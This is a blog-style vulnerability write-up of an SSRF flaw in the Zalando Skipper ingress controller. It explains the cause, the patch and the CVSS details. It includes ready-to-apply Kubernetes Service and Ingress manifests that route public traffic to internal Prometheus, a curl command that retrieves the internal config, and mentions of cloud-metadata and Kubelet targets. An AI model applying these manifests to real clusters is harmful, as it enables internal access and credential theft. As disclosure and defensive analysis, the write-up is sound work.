CVE-2026-24470

Skipper's Slip-Up: Turning Kubernetes Ingress into an Internal Proxy

Alon Barad
Alon Barad
Software Engineer

Jan 27, 2026·5 min read·5 visits

Executive Summary (TL;DR)

Zalando Skipper (versions < 0.24.0) blindly trusted Kubernetes `ExternalName` services. By creating a Service pointing to an internal DNS name (like the Kubelet or Cloud Metadata) and an Ingress referencing it, a low-privileged user could proxy public traffic directly to sensitive internal infrastructure. The fix disables `ExternalName` support by default.

A high-severity SSRF vulnerability in Zalando Skipper allows attackers with Ingress creation privileges to route external traffic to internal cluster resources via Kubernetes ExternalName services.

The Hook: The Gatekeeper That Left the Back Door Open

In the chaotic world of Kubernetes networking, the Ingress Controller is the bouncer. It stands at the edge of the cluster, checking IDs (Host headers) and deciding who gets into the club (your pods). Zalando's Skipper is a popular HTTP router and reverse proxy designed for this exact purpose. It's robust, flexible, and usually pretty good at its job.

However, in CVE-2026-24470, our bouncer got a little too helpful. It turns out that if you asked Skipper nicely—specifically, by using a Kubernetes ExternalName service—it would happily escort you past the velvet ropes and straight into the VIP room (the internal network) without checking if you were actually on the list.

This isn't just a simple bug; it's a classic Confused Deputy scenario. Skipper has high privileges (network visibility into the cluster). The developer (you, or the attacker) has low privileges. By defining a malicious configuration object, the attacker tricks Skipper into using its high privileges to access resources the attacker shouldn't be able to touch. It's like asking the valet to fetch your car, but handing them a ticket for a Ferrari that isn't yours.

The Mechanism: Weaponizing DNS Aliases

To understand the exploit, you have to understand the Kubernetes ExternalName service type. Usually, a Service maps to a set of Pod IPs (endpoints). But an ExternalName service is basically a DNS alias (a CNAME). It tells the cluster: "Hey, if anyone asks for Service A, they actually want database.external-provider.com."

Skipper supports this. When it sees an Ingress pointing to an ExternalName service, it creates a route that proxies incoming HTTP requests to that external DNS name.

The Fatal Flaw: Prior to version 0.24.0, Skipper didn't validate what that DNS name was. It assumed that if a user could create an Ingress, they were trustworthy. This is a dangerous assumption in multi-tenant clusters. An attacker could define an ExternalName pointing to 169.254.169.254 (Cloud Metadata) or kubernetes.default.svc (The API Server).

The Exploit: From Public URL to Internal API

Let's walk through the attack path. Assume we are a developer with restricted permissions in a namespace called dev-team. We cannot access the production database or the underlying node metadata. But we can create Ingress resources to expose our apps.

Step 1: The Trojan Horse First, we create a Service. But instead of pointing to our app, we point it to the cluster's internal Prometheus instance, which is usually unprotected inside the cluster network.

apiVersion: v1
kind: Service
metadata:
  name: sneak-proxy
  namespace: dev-team
spec:
  type: ExternalName
  externalName: prometheus.monitoring.svc.cluster.local

Step 2: The Gateway Next, we create an Ingress that tells Skipper: "When you see traffic for attacker.example.com, send it to sneak-proxy."

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: exploit-ingress
spec:
  rules:
  - host: attacker.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: sneak-proxy
            port:
              number: 9090

Step 3: Profit Skipper processes the Ingress configuration. It resolves sneak-proxy to prometheus.monitoring.svc.cluster.local. It updates its routing table.

The attacker simply runs: curl http://attacker.example.com/api/v1/status/config

Skipper receives the request, sees the rule, and proxies the connection internally to Prometheus. The attacker now has full read access to the internal metrics, alerting rules, and potentially secrets stored in the config.

The Code: Before and After

The fix in version 0.24.0 is a shift to Secure by Default. Previously, the code essentially blindly trusted the service spec. The patch introduces a gatekeeper check in dataclients/kubernetes/ingressv1.go.

Here is a simplified view of the logic change:

Vulnerable Logic (Conceptual):

if svc.Spec.Type == "ExternalName" {
    // Just do it. Trust the user.
    return externalNameRoute(svc.Spec.ExternalName)
}

Patched Logic (Commit a4c87ce):

} else if svc.Spec.Type == "ExternalName" {
    // STOP! Is this feature even enabled?
    if ic.enableExternalNames {
         // Okay, it's enabled. Now check the allow-list (if configured)
         return externalNameRoute(..., allowedExternalNames)
    }
    // If not enabled, return an error. Access Denied.
    return nil, errNotEnabledExternalName
}

The developers added a flag EnableKubernetesExternalNames which defaults to false. If you want this feature, you now have to explicitly turn it on, and ideally, configure a regex whitelist using -kubernetes-allowed-external-name.

The Impact: Why This Hurts

This is an SSRF (Server-Side Request Forgery) on steroids. Traditional SSRF usually involves tricking an application into fetching a URL. Here, we are tricking the infrastructure layer itself.

  1. Cloud Metadata Theft: If Skipper is running on AWS/GCP/Azure, an attacker can map 169.254.169.254 to an Ingress. Visiting the public URL could dump the Node's IAM credentials, potentially leading to full cluster compromise.
  2. Internal Service Access: Most internal services (Redis, Elasticsearch, Metrics) lack authentication because they assume the cluster network is trusted. This exploit bridges the gap between the public internet and that trusted network.
  3. Kubelet RCE: If the attacker can reach the Kubelet API (10250), they might be able to invoke exec commands on other pods, depending on the Kubelet's anonymous auth configuration.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
EPSS Probability
0.04%

Affected Systems

Zalando Skipper < 0.24.0Kubernetes Clusters using Skipper as Ingress

Affected Versions Detail

Product
Affected Versions
Fixed Version
Skipper
Zalando
< 0.24.00.24.0
AttributeDetail
CWECWE-918 (SSRF)
CVSS v3.18.1 (High)
Attack VectorNetwork
Privileges RequiredLow (Namespace Edit)
ImpactConfidentiality, Integrity
ClassConfused Deputy
CWE-918
Server-Side Request Forgery (SSRF)

Vulnerability Timeline

Vulnerability Disclosed & Patched
2026-01-26
GHSA-mxxc-p822-2hx9 Published
2026-01-26
Public Sightings Reported
2026-01-27

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.